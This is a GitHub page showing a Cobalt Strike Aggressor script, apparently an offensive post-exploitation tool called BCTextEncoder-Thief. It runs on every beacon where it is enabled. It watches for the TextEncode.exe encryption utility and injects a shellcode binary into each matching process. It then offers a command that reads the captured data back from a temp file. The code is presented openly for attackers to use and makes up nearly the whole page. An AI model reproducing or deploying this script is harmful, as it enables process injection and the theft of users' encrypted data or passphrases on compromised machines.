-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathBCTextEncoderThief.cna
70 lines (49 loc) · 1.22 KB
/
BCTextEncoderThief.cna
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
@beacons = @();
@pids = @();
on heartbeat_5s{
foreach $index => $beaconid (@beacons)
{
bps($beaconid,&handleProcess);
}
}
sub handleProcess{
$processList = $2;
$processName = "TextEncode.exe";
$start = 0;
@tempPids = @();
@tempPPids = @();
while $index (indexOf($processList, $processName, $start))
{
$temp = substr($processList,$index,-1);
$processInfo = split("\n",$temp)[0];
$ppid = split("\t",$processInfo)[1];
$pid = split("\t",$processInfo)[2];
$arch = split("\t",$processInfo)[3];
if($pid !in @tempPids){
add(@tempPids,$pid);
}
if($ppid !in @tempPPids){
add(@tempPPids,$ppid);
}
$start = strlen($processInfo) + $index + 1;
}
foreach $pid (@tempPids)
{
if(($pid !in @tempPPids) && ($pid !in @pids)){
add(@pids,$pid,0);
blog($1,"Injecting into $processName with PID: $pid");
bshinject($1, $pid , "x86" ,script_resource("BCTextEncoderThief.bin"));
}
}
}
alias bctextencoderthief_enable {
blog($1, "BCTextEncoder-Thief enabled \n");
add(@beacons,$1,0);
}
alias bctextencoderthief_disable {
blog($1, "Disabling BCTextEncoder-Thief");
remove(@beacons,$1);
}
alias bctextencoderthief_dump {
bshell($1,"type %temp%\\data.bin")
}